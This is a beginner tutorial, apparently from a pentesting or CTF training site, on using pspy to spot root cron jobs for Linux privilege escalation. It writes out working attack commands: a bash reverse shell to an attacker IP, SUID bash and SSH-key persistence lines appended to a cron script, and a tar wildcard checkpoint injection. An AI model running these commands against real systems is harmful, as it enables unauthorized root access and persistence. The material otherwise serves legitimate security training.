pspy

Unprivileged Linux process monitor that catches cron jobs, scheduled tasks, and hidden root processes without needing root access. Uses inotify to watch the filesystem instead of reading /proc.

Linux
LevelBeginner. Run it right after landing a shell, alongside linPEAS.
Know firstWhat a cron job is, and that pspy needs no special privileges to watch other users' processes.
You will learn totransfer and run pspy, read its process timeline, and catch a root cron job you can hijack.

What is it?

pspy is a command-line tool that monitors Linux processes without root privileges. On a standard Linux system, a low-privilege user can't see which cron jobs are scheduled for other users, crontab -l only shows your own. The system-wide crontab at /etc/crontab and /etc/cron.d/ is readable, but user-specific crontabs in /var/spool/cron/crontabs/ aren't.

pspy solves this by combining two techniques:

  • Scanning /proc: repeatedly reads /proc to detect new processes as they appear, even short-lived ones that vanish before ps would catch them
  • inotify watches: places filesystem watches on directories like /tmp, /usr, /etc, and /home to detect when files are accessed or modified by scheduled tasks

The result: you see every process that starts on the system, what command was run, which user ran it (by UID), and when. This exposes cron jobs, systemd timers, and any automated scripts that run periodically, even if you have no way to read their configuration.

Why this matters for privesc

If root runs a cron job that executes a script you can write to, that's game over. pspy is how you discover that cron job exists when cat /etc/crontab shows nothing interesting and linPEAS didn't flag it. Many CTF and exam boxes rely on hidden cron jobs as the privesc path.

Run this first

Get the binary onto the target and run it with no arguments, then watch and wait.

bash: your first run
# On your machine
$ python3 -m http.server 8080

# On the target
$ wget http://10.10.14.5:8080/pspy64 -O /tmp/pspy64
$ chmod +x /tmp/pspy64
$ /tmp/pspy64
  • pspy64 is for 64-bit targets. Running the wrong architecture binary shows processes incorrectly, so check with uname -m first.

Let it run for at least 5 to 10 minutes, since many cron jobs fire every 15 or 30 minutes. Watch for UID=0 lines, which are processes running as root, and check whether the script they run (or anything it sources) sits in a directory you can write to.

When do you use it?

Run pspy after you've landed a low-privilege shell on a Linux target and you're looking for privilege escalation paths. Specifically:

  • linPEAS showed nothing obvious: no SUID, no writable services, no kernel exploits. The box might rely on a hidden cron job
  • You suspect automated tasks: files appear or change in /tmp periodically, logs rotate on a schedule, or there are signs of maintenance scripts
  • You found a writable script but don't know if anything executes it, pspy confirms whether it gets called and by whom
  • You want to see what services do at startup: after a reboot, pspy shows the full boot sequence and what gets launched
Clues that a cron-based privesc exists
  • Writable files in /opt, /usr/local/bin, or /home/*/scripts that look like they're designed to be run automatically
  • Bash scripts with #!/bin/bash shebangs in odd places that you can modify
  • Files appearing or disappearing in /tmp on a regular interval
  • Log entries that mention scheduled cleanup or backup operations
  • Wildcard characters (*) in scripts that might be exploitable via tar/rsync wildcard injection

Getting it on the target

pspy is a static binary, no dependencies, no installation. Download the right version and transfer it.

Choose the right binary

BinaryArchitectureWhen to use
pspy6464-bit (amd64)Most modern Linux systems: check with uname -m (x86_64)
pspy3232-bit (i386)Older systems or 32-bit installs, uname -m shows i686/i386
pspy64s64-bit (small)When disk space is tight, smaller binary, fewer features
pspy32s32-bit (small)32-bit with limited space

Transfer to target

bash: on your attacker machine
# Start a web server in the directory with pspy
$ cd /opt/tools
$ python3 -m http.server 8080

# Or use a simple netcat transfer
$ nc -lvnp 9001 < pspy64
bash: on the target
# Download via wget (most common)
$ cd /tmp
$ wget http://10.10.14.5:8080/pspy64
$ chmod +x pspy64

# Or via curl
$ curl http://10.10.14.5:8080/pspy64 -o pspy64 && chmod +x pspy64

Running pspy

bash: basic usage
# Run with default settings (watches /proc + common directories)
$ ./pspy64

# Watch specific directories for filesystem events
$ ./pspy64 -d /tmp -d /opt -d /home

# Only show processes (no filesystem events), cleaner output
$ ./pspy64 -f

# Increase /proc scan speed (every 100ms instead of default 1000ms)
$ ./pspy64 -i 100

# Combine: fast scanning, no file events, watch /opt specifically
$ ./pspy64 -i 100 -f -d /opt
Redirect output for later analysis

If you're leaving pspy running for a while: ./pspy64 | tee /tmp/pspy_output.txt. This lets you scroll through the log after stopping pspy with Ctrl+C, and you can grep for specific patterns.

Reading the output

pspy output has a specific format. Understanding it is critical:

output: pspy running on a target
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ▒▒██████▒░▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░            ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=true
Draining file system events due to startup...
done

2024/01/15 14:00:01 | CMD: UID=0    PID=1234 | /usr/sbin/CRON -f        <-- cron daemon (root)
2024/01/15 14:00:01 | CMD: UID=0    PID=1235 | /bin/sh -c /opt/cleanup.sh<-- root runs cleanup.sh!
2024/01/15 14:00:01 | CMD: UID=0    PID=1236 | /bin/bash /opt/cleanup.sh <-- the actual script
2024/01/15 14:00:01 | CMD: UID=0    PID=1237 | rm -rf /tmp/*.bak
2024/01/15 14:00:01 | CMD: UID=1001 PID=1240 | /bin/bash                 <-- UID 1001 = normal user
2024/01/15 14:05:01 | CMD: UID=0    PID=1250 | /usr/sbin/CRON -f
2024/01/15 14:05:01 | CMD: UID=0    PID=1251 | /bin/sh -c /opt/backup.sh <-- another root cron job!

Key fields

FieldMeaningWhat to look for
TimestampWhen the process startedRegular intervals = cron job. Note the timing pattern
UID=0Process run as rootAny command root runs that touches files you control = privesc
UID=1000+Normal user processYour own commands: ignore these unless debugging
PIDProcess IDSequential PIDs appearing at the same time = same cron trigger
CMDThe full command lineLook for script paths, arguments, credentials passed on command line
UID reference
  • UID=0: root. This is what you care about most
  • UID=33: www-data (web server)
  • UID=65534: nobody
  • UID=1000-65533: regular users. Check /etc/passwd to map UID to username

Catching cron jobs

The most common privesc pspy reveals is a root cron job that executes a file you can modify. Here's how to identify and exploit it:

Step 1: Run pspy and wait

Cron jobs run at fixed intervals. Most run every 1, 5, or 15 minutes. Let pspy run for at least 5 minutes to catch the cycle. Pay attention to processes where UID=0 and the command references a file path.

Step 2: Check if you can write to the target

bash: check write access
# Saw root running /opt/cleanup.sh, can you write to it?
$ ls -la /opt/cleanup.sh
-rwxrwxrwx 1 root root 142 Jan 10 08:00 /opt/cleanup.sh
#  ^^^  world-writable! Anyone can modify this script

# Or check if you own the directory
$ ls -la /opt/
drwxr-xr-x  2 www-data www-data 4096 Jan 10 /opt/scripts/
# If you're www-data, you can add/modify files in this directory

Step 3: Inject your payload

bash: privesc via writable cron script
# Option A: Add a reverse shell to the script
$ echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /opt/cleanup.sh

# Option B: Copy bash and set SUID
$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/cleanup.sh

# Option C: Add your SSH key to root's authorized_keys
$ echo 'echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys' >> /opt/cleanup.sh

# Wait for the cron job to fire, then:
$ /tmp/rootbash -p   # if you used Option B
rootbash-5.1# whoami
root

Timing analysis

When you see a root process, note the timestamp. Watch for it to appear again. The interval tells you the cron schedule:

IntervalLikely cron scheduleHow long to wait
Every 1 minute* * * * *2 minutes confirms it
Every 5 minutes*/5 * * * *10 minutes to be sure
Every 15 minutes*/15 * * * *30 minutes
On the hour0 * * * *Wait for the next hour mark
Speed up your analysis

If you see a root process at 14:00:01, and again at 14:05:01, you know it runs every 5 minutes. After injecting your payload, the maximum wait for execution is 5 minutes. If you're writing a SUID bash payload, you can start checking for /tmp/rootbash within that window.

What to look for

High-value pspy findings
  • Root executing user-writable scripts: UID=0 | /bin/bash /home/user/backup.sh: if you can write to that script, you own root
  • Wildcard usage in root commands: UID=0 | tar czf /backup/files.tar.gz *: wildcard injection via tar checkpoint exploit
  • Credentials on the command line: UID=0 | mysql -u admin -pSecretPass123: passwords visible in process arguments
  • Root running scripts from writable directories: Check the directory permissions, not just the file
  • Scripts that call other scripts: UID=0 | /opt/run.sh where run.sh does source /tmp/config.sh: you may be able to write the sourced file
  • PATH-based exploitation: If root runs backup without a full path and you control a directory in the PATH, create a malicious backup binary

Wildcard injection example

bash: exploiting tar wildcard in cron
# pspy shows: UID=0 | /bin/sh -c cd /var/www/html && tar czf /backup/web.tar.gz *
# The * expands filenames as arguments to tar

# Create the checkpoint exploit files
$ cd /var/www/html
$ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
$ echo "" > "--checkpoint=1"
$ echo "" > "--checkpoint-action=exec=sh shell.sh"

# When cron fires: tar sees --checkpoint=1 and --checkpoint-action=exec=sh shell.sh as flags
# Wait for cron, then:
$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(www-data) gid=1001(www-data) euid=0(root) groups=1001(www-data)

Common mistakes

Things that go wrong
  • Not waiting long enough: Some cron jobs run every 15 or 30 minutes. If you close pspy after 2 minutes, you'll miss them. Let it run for at least 5-10 minutes
  • Using the wrong architecture: Running pspy32 on a 64-bit system won't show processes correctly. Check uname -m or file /bin/ls first
  • Forgetting to check directory permissions: The script itself might be root-owned, but if the directory is writable, you can delete the file and replace it
  • Overlooking library/sourced file hijacking: A root cron script might source a config file or load a Python library from a writable location. Don't just look at the main script, trace what it imports
  • Too much noise: Use -f to disable filesystem events if the output is overwhelming. Focus on UID=0 lines
  • Leaving pspy running forever: pspy uses CPU. On resource-constrained boxes, running it for hours can raise alerts or affect performance. Get your data and stop it

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

You run pspy for 2 minutes and see nothing interesting. What is the likely mistake?
Not waiting long enough. Many cron jobs run every 15 or 30 minutes, so let it run for at least 5 to 10 minutes before giving up.
Which lines in the output matter most?
Lines with UID=0, since those are processes running as root.
A root cron script is itself read-only, but the finding still leads somewhere. What should you check next?
The directory it sits in. If the directory is writable, you can delete and replace the file even though the file itself is root-owned.
A root script runs without obvious issues. What else is worth tracing?
Anything it sources or imports, such as a config file or a Python library, loaded from a location you can write to.
Why run pspy64 instead of pspy32 on most modern targets?
pspy32 misreads processes on a 64-bit system. Check the architecture with uname -m or file /bin/ls first.